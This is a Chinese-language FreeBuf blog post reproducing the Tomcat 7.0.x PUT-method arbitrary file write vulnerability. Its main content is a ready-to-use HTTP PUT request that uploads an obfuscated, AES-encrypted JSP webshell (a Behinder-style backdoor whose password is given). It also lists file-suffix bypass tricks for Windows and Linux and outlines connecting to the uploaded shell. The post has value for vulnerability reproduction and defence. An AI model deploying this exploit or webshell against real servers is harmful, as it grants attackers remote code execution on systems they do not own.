freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

tomcat PUT方法任意文件写入--漏洞复现
2022-03-15 20:50:48
所属地 内蒙古

tomcat PUT方法任意文件写入

poc(webshell密码为rebeyond)

PUT /shell.jsp/ HTTP/1.1
Host: 192.168.139.132:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 572

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*åÆ¥:Þ¥Æ32Mmd5<M16MؤޥÆrebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

漏洞信息

影响版本:7.0.0 - 7.0.81

漏洞原理:漏洞产生是由于配置不当(非默认配置),将配置文件(conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法。

image-20220315202034200

对于jsp后缀限制进行绕过

1、windows下不允许文件以空格结尾

PUT x.jsp%20 HTTP1.1

上传windows后悔被自动去掉末尾空格

2、windowsNTFS流

PUT x.jsp::$DATA HTTP/1.1

3、/在文件名中是非法的,也会被去除(linux/windows)

PUT x.jsp/ HTTP1.1

实例演示

jsp后缀被限制

image-20220315202544749

由于服务器是linux所以加/桡过

image-20220315202634954

查看是否上传

image-20220315203018876

webshell连接


# tomcat # 漏洞复现 # 中间件
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录